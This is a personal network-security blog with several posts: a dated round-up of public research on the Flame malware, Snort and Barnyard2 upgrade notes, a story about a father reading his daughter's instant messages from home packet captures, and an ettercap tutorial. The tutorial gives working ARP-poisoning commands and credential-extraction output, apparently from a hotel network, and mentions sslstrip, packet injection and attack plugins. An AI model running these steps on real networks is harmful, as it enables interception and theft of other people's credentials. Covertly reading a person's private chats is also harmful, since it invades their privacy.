CERT's FloCon 2013 CFP

CERT's FloCon 2013 CFP is posted.

Albuquerque, New Mexico, on January 7–10, 2013.

I plan to attend.

Tweet

Flame Round-up

Updated June 13 with a few more links.

I decided to write a short post with a Frame timeline, links to the related information, and a brief summary of interesting information available at each link. I might update this post if I get comments with additional interesting links or if there are significant new developments. When possible, I'm trying to catalog technical discussion rather than news aimed at a general non-technical audience.

Note that many of the dates, on blog posts in particular, will reflect the last time the post was changed rather than initial posting date. This can be a problem when relying on sites that do not show both a publication and modification date for web publications. I will note when I know of discrepancies in date.

2012 May 28:

Kaspersky Lab and ITU Research Reveals New Advanced Cyber Threat: Kaspersky Lab posts information about new malware dubbed Flame. They were investigating incidents related to something known as Wiper on behalf of the ITU and discovered Flame in the process. Kaspersky calls Flame a "super-cyberweapon" and says the primary purpose is cyber espionage. The end of the article includes a link to The Flame: Questions and Answers, a technical FAQ. Judging by the CrySyS report (below), Wiper and Flame could actually be one and the same.

Identification of New Targeted Attack: Dated the same day as the Kaspersky Lab post, the Iranian CERTCC (MAHER) posts information gleaned from an investigation into Flame. They include bullet points listing some of Flame's behaviors and capabilities.

• Distribution via removable medias
• Distribution through local networks 
• Network sniffing, detecting network resources and collecting lists of vulnerable passwords 
• Scanning the disk of infected system looking for specific extensions and contents 
• Creating series of user’s screen captures when some specific processes or windows are active 
• Using the infected system’s attached microphone to record the environment sounds 
• Transferring saved data to control servers 
• Using more than 10 domains as C&C servers 
• Establishment of secure connection with C&C servers through SSH and HTTPS protocols 
• Bypassing tens of known antiviruses, anti malware and other security software 
• Capable of infecting Windows Xp, Vista and 7 operating systems 
• Infecting large scale local networks

Both Kaspersky Lab and MAHER tie Flame to Stuxnet and Duqu. Kaspersky later referred to this post by MAHER taking place on May 27 rather than date listed on the page, which is May 28.

CrySyS Lab publishes their first version of the 64 page sKyWIper (Flame) technical report, updated to version 1.05 as of May 31. The report states that Flame may have been active for as long as five to eight years at the time of discovery. The report details modules, encryption, activation, propagation, component descriptions, C&C details, scripts, and evasion techniques.

2012 June 01:

OpenDNS provides a timeline of command and control domain registrations. Domains were registered and active as far back as 2008.

The New York Times publishes an article, Obama Ordered Wave of Cyberattacks Against Iran, detailing efforts directed first by the Bush administration and increased by the Obama administration to use cyberattacks to slow Iranian nuclear development. The article ties the attacks most directly to Stuxnet and was adapted from David E. Sanger's new book, Confront and Conceal: Obama's Secret Wars and Surprising Use of American Power.

2012 June 03:

Microsoft issues Security Advisory (2718704): Unauthorized Digital Certificates Could Allow Spoofing after revelations that Flame was using a cryptographic collision and terminal server licensing certificates to sign code, allowing spoofing of Windows Update. Microsoft issued an emergency patch that blacklisted the three intermediate certificate authorities.

2012 June 04:

ArsTechnica rounds up links, quotes, and information in "Flame" malware was signed by rogue Microsoft certificate. I will not repeat their work, but instead say that they did a good job providing information along with links to more detailed posts and articles from the various players that have been active in the dissemination of information about Flame.

Kaspersky Lab posts The Roof is on Fire: Tackling Flame's C&C Servers. The post includes a chart comparing Duqu and Flame command and control infrastructure, from choice of OS (CentOS for Duqu, Ubuntu for Flame) to number of known C&C domains (80+ for Flame), and more. They go into great detail about the C&C architecture, including the domains being purchased primarily through GoDaddy, the fake identities used for registration, the technical details of the C&C infrastructure, and a list showing the geographic distribution of infections. OpenDNS's timeline links to this post by Kaspersky Lab, so it was presumably posted around the same day, June 01, then updated later.

2012 June 05:

Bitdefender Labs details how Flame uses USB and old-fashioned sneakernet to move data off systems that are not connected to the Internet and onto systems that have previously connected to Flame's C&C servers. FLAME – The Story of Leaked Data Carried by Human Vector also mentions how Flame is different from much other malware, for instance very large file sizes and no anti-debugging or anti-reversing code.

2012 June 06:

Microsoft Security Research and Defense posts Frame malware collision attack explained. This goes into detail and is well worth reading. Notable is that Windows versions older than Vista would have been vulnerable without the MD5 collision, but newer versions required the collision attack.

ArsTechnica also posts on the subject and links to the same MS post among others in their Flame's "god mode cheat code" wielded to hijack Windows 7, Server 2008. Included is a link to a write-up about a theoretical MD5 collision attack dating back to 2007, which itself was an extension of work from 2004. In 2008, the attack went from theoretical to practical.

Symantec's blog post titled Flamer: Urgent Suicide details remaining Flame C&C servers sending a command to essentially uninstall from infected systems by deleting then overwriting Flame files with random data.

Related to the topic of cyber espionage but not dealing directly with Flame, Google announces that they will warn users of possible state-sponsored attacks.

2012 June 07:

Details start to emerge that Flame used a new collision attack. ArsTechnica posts Flame breakthrough shows Flame was designed by world-class scientists. Marc Stevens and B.M.M de Weger are quoted as saying that the collision attack was new.

“Flame uses a completely new variant of a ‘chosen prefix collision attack’ to impersonate a legitimate security update from Microsoft. The design of this new variant required world-class cryptanalysis,” says Marc Stevens. “It is very important to invest in cryptographic research, to continue to be ahead of these developments in practice.”

This adds to the ever-present but growing evidence regarding the type of resources needed for Flame.

2012 June 11:

Bitdefender Labs get into some great detail on components within Flame, including comparisons to Stuxnet, in Stuxnet's Oldest Component Solves the Flamer Puzzle.

"As mentioned before, atmpsvcn.ocx was believed to belong to Stuxnet: more to the point, its MD5 hash (b4429d77586798064b56b0099f0ccd49) was detected in a Stuxnet dropper.  This irrefutably places it as a Stuxnet component. It is common knowledge that Stuxnet used quite an array of droppers, and one of the oldest such droppers, dated from 2009, also contains the atmpsvcn.ocx component. Inside the dropper, we identified a resource encrypted using XOR 255 (0xFF) that is 520.192 bytes large and has the same hash: b65f8e25fb1f24ad166c24b69fa600a8.

This concludes the first part of the demonstration. There is no doubt about it being a Stuxnet component, but today’s demonstration will shed new light on how it fits in the Flamer puzzle."

Tweet

A Practical Example of Non-technical Indicators and Incident Response

Once upon a time there was a network security analyst slash NSM engineer who, like any sane person, ran full packet capture, IDS/IPS, session capture, and passive fingerprinting inline at the ingress/egress of his home network. His setup was most similar to diagram two in IDS/IPS Placement on Home Network.

This security analyst was casually going about his business one day when he opened the basement door of his house and found a tennis ball wedged between the door frame and the storm door. “That’s odd!” he thought. “Who would do that?”

After removing the tennis ball, he thought, “Well, this storm door is really loud when it closes those last few inches. Maybe someone did it to quietly enter or exit the house.” It just so happens that the daughter of said analyst was in high school and her bedroom was down the hall from the basement door. He promptly entered her room and took a quick look around. Lo and behold, the screen from her window was under her bed and the window itself was unlocked. Since this room was on the ground floor, the analyst immediately had some good ideas about what was happening with the window and the basement door. Someone was sneaking in or out of the house!

The analyst confronted his teenage daughter when she got home from school and received denial after denial about any possible wrongdoing. The denials did not sound sincere.

Enter the network security monitoring. He stated, “I told you I would respect your privacy with your email and other electronic communications unless you gave me a reason not to. I consider you in violation of these Terms of Service and I’m going to see what you’ve been up to lately.”

At this point it was late in the evening and the analyst had to get up early for work. This was some years back when AIM was quite common, so he briefly used Sguil to look at recent sessions of AOL Instant Messenger traffic. He decided to get some sleep for work the next day and put off additional investigation. In the meantime, his daughter's privileges were highly restricted.

A day or two later, after trying to manually sift through some of the ASCII transcripts of the packet captures the analyst quickly decided there was a better way. He whipped up a short shell script to loop through all the packet captures, run Dug Song’s msgsnarf, and pipe the output into an HTML file for later examination. This required a little tweaking to make the HTML easily readable, but it was fairly quick to write and test the script.
The next morning there were many hundreds of lines of AIM conversations to examine. He started working from the most recent and reading backwards. After a few minutes he quickly confirmed that his daughter had been sneaking out of the house to go to parties and get into other mischief.

Another conversation with his daughter finally led to her confession, a long discussion, and suitable punishment. Despite the severity of her actions, the HTML file containing the chat transcripts also contained a few endearing nuggets.

Daughter: OMG they know everything!
Accomplice: what do u mean everything
Daughter: my dad can read all my chats
Daughter: he does computer security for [company redacted]
Daughter: he’s a computer genius
Daughter: DAD I’M INNOCENT!

Upon telling this story to a current colleague, he mentioned that the last few lines are the best father’s day gift the analyst would ever receive.

I think there are a few obvious lessons here that can translate to network monitoring.

First, the initial indicator of the problem was in the physical world. Network security monitoring or any other type of technical monitoring and prevention will fail. I have experienced many times when phone calls from users have been one of the earliest indicators of malicious activity. Particularly in the case of insider threats, it's important to note that many initial indicators of malicious activity are non-technical, like a person's behavior, personnel action, or in this case a physical indicator of a security problem.

Second, sometimes you need to be flexible to solve a problem quickly and with minimal effort. The analyst could have manually looked at the AIM traffic, but because he judged that the threat of another incident was already mitigated by talking to the daughter, digging up the traffic wasn’t urgent. Instead, The analyst decided to write the script that would pull all the traffic and convert it to a readable format. The analyst also had the luxury of knowing that all the packet captures would still be there since his home bandwidth at the time meant well more than 30 days of pcap storage.

Third, network monitoring is a means to an end. In this case, there was a security problem that could be addressed with the help of technical means. In many obvious cases you are trying to protect data. In other cases, you can be trying to protect people or things in the physical world that could be harmed if the wrong information is revealed. It is important to stay focused on what really matters and not get caught worrying about the wrong things because your instrumentation or technologies push you towards priorities that don’t make sense.

Last, attackers are not static. The daughter definitely learned the value of encryption and even using out-of-band communication in the form of SMS over the phone network if she did not want the network sensor recording her conversations in plain text. Technology advancement also makes attackers evolve, for instance with the move to Facebook chat or SMS from older forms of IM.

Tweet

Updating to Snort 2.9.2 and Barnyard2

After fixing hardware problems that had my home network sensor out of commission for the better part of a year, I recently got the system inline again. Because the sensor had been down for so long, I was running a fairly old version of Snort, 2.9.0.3, along with barnyard 0.2.0. I decided the first thing I should do after updating the OS itself was update Snort and Barnyard.

I won't go through the process in detail since there are many resources online for installing and configuring Snort. The main thing I will point out is that you should always look in the docs/ directory for information on installing and upgrading. If you're updating from a previous version, pay particular attention to changes and new features. Another important thing to do is look closely at the snort.conf provided with a given version in etc/ since it will have a lot of information on defaults and configuration directives that may be required. These won't always be the same as previous versions. It's also important to update to the latest rule sets, check for new rules files, and do all the other normal tuning to make sure certain rules are turned off or on.

I had two main problems when I updated, one with Snort and one with Barnyard2. Since Snort is the main piece of the puzzle here, I updated it prior to Barnyard. After updating to Snort-2.9.2.1 and fixing the configuration, I was able to run Snort successfully using the options I normally had previously. However, as soon as I put the sensor back inline and Snort started processing packets, Snort would exit with an error.

Can't acquire (-1) - ipq_daq_acquire: ipq_read=-1 error Failed to receive netlink message!

A quick search revealed that I had to remove the ip_queue module. JJ Cummings on the #snort channel pointed out to me that NFQ is the more recent option than IPQ. I am using Slackware-current, so even though it is a maintained distribution it is also not surprising that I was using an older option. Slackware also did not have a couple of the required libraries to compile DAQ with support for NFQ, so I went to Slackbuilds.org to get the files allowing me to create Slackware packages for libnetfilter_queue and libnfnetlink.

Once I got the new packages installed, made sure the ip_queue module wasn't loaded, recompiled DAQ to support NFQ, and changed my Snort init to use --daq nfq, my inline Snort was working once again.

Next, I updated from Barnyard-0.2.0.

$ barnyard2 -V

  ______   -*> Barnyard2 <*-
 / ,,_  \  Version 2.1.10-beta2 (Build 266) TCL
 |o"  )~|  By Ian Firns (SecurixLive): http://www.securixlive.com/
 + '''' +  (C) Copyright 2008-2011 Ian Firns


Barnyard2 is needed to process Snort's newer output mode, unified2. My snort.conf changed from:

output log_unified: filename unified.log, limit 128

to:

output unified2: filename unified.log, limit 128

When I got Barnyard2 up and running, it was obviously not successfully processing the unified2 files from Snort. Barnyard2 kept repeating the following error as it tried to process the files.

WARNING: No function defined to read header.

I found a thread on the snort-users list that indicated Barnyard2 was getting a file type it wasn't expecting, which made sense considering the warning message. This issue gave me more problems than it should have and I eventually realized it was because of an error in my barnyard.conf file. The input is supposed to read "input unified2" but I had somehow managed to include a colon after "input". Once I fixed that line, Barnyard2 started working, with alerts being properly processed and showing up in Sguil once again.

The next update will be to go from Sguil-0.7.0 to Sguil-0.8.0.

Tweet

Flocon 2012

Flocon 2012 is January 9-12, which is next week. It's fairly late, but I believe registration is still open. The schedule includes speakers from many organizations and looks quite interesting. I will be attending and am looking forward to it.

Happy New Year!

Tweet

Recent Advances in Intrusion Detection 2011

For anyone still following despite my infrequent posting, I will be going to the International Symposium on Recent Advances in Intrusion Detection next week. I haven't made time to attend a conference in quite a while, so I'm looking forward to it.

If anyone that knows me is attending and interested in getting together, let me know. If you know me either online or in meatspace, hopefully that means you know how to reach me.

This post doubled my number of blog posts to date for 2011. The most likely next post will be covering anything interesting from the conference. Beyond that, I don't anticipate much posting activity in the near future for a number of reasons.

Tweet

Using ettercap for ARP poisoning

Ettercap is certainly nothing new, and there is plenty of documentation around to see how to use it, but I was sitting here goofing around and decided to record my results. I am not advocating this type of thing on a public network, and ARP poisoning or other attacks often fall afoul of terms of service for public and private networks, and may even be illegal in some jurisdictions.

First, I looked at my default route.

$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.71.0.0       0.0.0.0         255.255.255.0   U     2      0        0 wlan0
0.0.0.0         10.71.0.1       0.0.0.0         UG    0      0        0 wlan0

To sniff the whole subnet, I'll want to do some ARP poisoning to send all traffic to/from the default route through my system.

$ sudo ettercap -i wlan0 -T -M arp:remote /10.71.0.1/ //

You can also use "// //" to designate ARP poisoning no matter what source and destination ettercap sees. The "-T" tells ettercap to use the text interface, which is still interactive. There is also a curses-based interface, "-C", and GTK with "-G" though it has always seemed less reliable to me than the others. The curses interface is actually pretty nice.

Once you run the command, ettercap should enumerate hosts and you will start seeing a bunch of traffic information scrolling through your console. How do we know if it's actually working? If you see non-broadcast traffic destined for other hosts, it will be obvious and you will know you're successfully sniffing all the traffic.

Another fun way is by opening etherape to see a realtime visualization of the traffic. If you are seeing typical non-broadcast traffic like HTTP, HTTPS, that's an indicator that you're successfully ARP poisoning. You can also get a quick idea if there are particular hosts getting a lot of traffic activity. I've seen the typical sites like Facebook, Amazon, Akamai, and LLNW, but also more interesting sites that are easily identifiable as VPN concentrators, banks, and more.

You can also of course use various tools including ettercap with the "-w" option to write traffic to a file and review at my leisure to look for interesting data. Ettercap also has an interesting utility to automatically grab usernames and passwords. From the man page:

       -L, --log
              Log  all  the packets to binary files. These files can be parsed
              by etterlog(8) to extract human readable data. With this option,
              all  packets  sniffed  by ettercap will be logged, together with
              all the passive info (host info + user & pass) it  can  collect.
              Given  a LOGFILE, ettercap will create LOGFILE.ecp (for packets)
              and LOGFILE.eci (for the infos).

If you didn't run this with ettercap originally, you can also run it on a saved packet capture.

$ ettercap -r hotel.raw -L hotel

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Please select an User Interface

$ ls hotel*

hotel.eci  hotel.ecp  hotel.raw

$ etterlog -a hotel.eci

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Log file version    : NG-0.7.3
Timestamp           : Wed Feb 16 14:20:57 2010
Type                : LOG_INFO

Number of hosts (total)       : 248

Number of local hosts         : 30
Number of non local hosts     : 0
Number of gateway             : 0

Number of discovered services : 240
Number of accounts captured   : 4

$ etterlog -p hotel.eci

74.125.93.191   TCP 80     USER: fakeuser      PASS: fakepasswd

I changed the data above and of course most sites these days are hopefully forcing encrypted logins.

These days, many sites can be hosted on one IP or virtual server. If you're not catching the DNS or HTTP request specifically before the login that was captured, the easiest way to determine which site on a specific IP was being visited would be opening up the packet capture with a tool like Wireshark, using a filter for the IP, then looking at the actual web traffic for the site's name. Looking in Wireshark, I can see the GET immediately after the TCP handshake.

GET /members/bbs/showthread.php HTTP/1.1
Host: www.fakedomain.com

This really just scratches the surface of what you can do with ettercap and other network tools. ARP poisoning still works, particularly on public networks, and many people log in to many services that can be easily compromised through sniffing (I write while sitting in an airport on public WiFi logged into my blogger account). A relatively recent high profile example was when the Metasploit site was briefly hijacked by successful ARP poisoning.

There are numerous other attacks besides sniffing that could succeed when ARP poisoning, many involving redirecting traffic or injecting malicious content. For instance, you can use something like sslstrip to redirect all HTTPS traffic to HTTP, grabbing credentials in the process. You could also inject content directly using etterfilter.

 DESCRIPTION
       The etterfilter utility is used to compile  source  filter  files  into
       binary  filter  files that can be interpreted by the JIT interpreter in
       the ettercap(8) filter engine. You have to compile your filter  scripts
       in  order  to  use  them  in  ettercap. All syntax/parse errors will be
       checked at compile time, so you will  be  sure  to  produce  a  correct
       binary filter for ettercap.

Using etterfilter you can inject new packets, replace data in packets, and more. If someone is visiting what they consider a known safe site, replacing data or injecting malicious packets can be quite successful. At a previous job, we had a non-production network for attack and defend fun, and with etterfilter I was able to replace all image requests by one of my colleagues' browser and instead have it request the image to the left.

Although my example above is obviously on a wireless network as shown by using the wlan0 interface, you can easily perform ARP poisoning on a local wired segment. There are also a number of ways to help detect or prevent poisoning with your network appliances or software.

Finally, ettercap also has a number of interesting plugins available.
$ ettercap -P list

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA


Available plugins :

         arp_cop  1.1  Report suspicious ARP activity
         autoadd  1.2  Automatically add new victims in the target range
      chk_poison  1.1  Check if the poisoning had success
       dns_spoof  1.1  Sends spoofed dns replies
      dos_attack  1.0  Run a d.o.s. attack against an IP address
           dummy  3.0  A plugin template (for developers)
       find_conn  1.0  Search connections on a switched LAN
   find_ettercap  2.0  Try to find ettercap activity
         find_ip  1.0  Search an unused IP address in the subnet
          finger  1.6  Fingerprint a remote host
   finger_submit  1.0  Submit a fingerprint to ettercap's website
       gre_relay  1.0  Tunnel broker for redirected GRE tunnels
     gw_discover  1.0  Try to find the LAN gateway
         isolate  1.0  Isolate an host from the lan
       link_type  1.0  Check the link type (hub/switch)
    pptp_chapms1  1.0  PPTP: Forces chapms-v1 from chapms-v2
      pptp_clear  1.0  PPTP: Tries to force cleartext tunnel
        pptp_pap  1.0  PPTP: Forces PAP authentication
      pptp_reneg  1.0  PPTP: Forces tunnel re-negotiation
      rand_flood  1.0  Flood the LAN with random MAC addresses
  remote_browser  1.2  Sends visited URLs to the browser
       reply_arp  1.0  Simple arp responder
    repoison_arp  1.0  Repoison after broadcast ARP
   scan_poisoner  1.0  Actively search other poisoners
  search_promisc  1.2  Search promisc NICs in the LAN
       smb_clear  1.0  Tries to force SMB cleartext auth
        smb_down  1.0  Tries to force SMB to not use NTLM2 key auth
     stp_mangler  1.0  Become root of a switches spanning tree

Tweet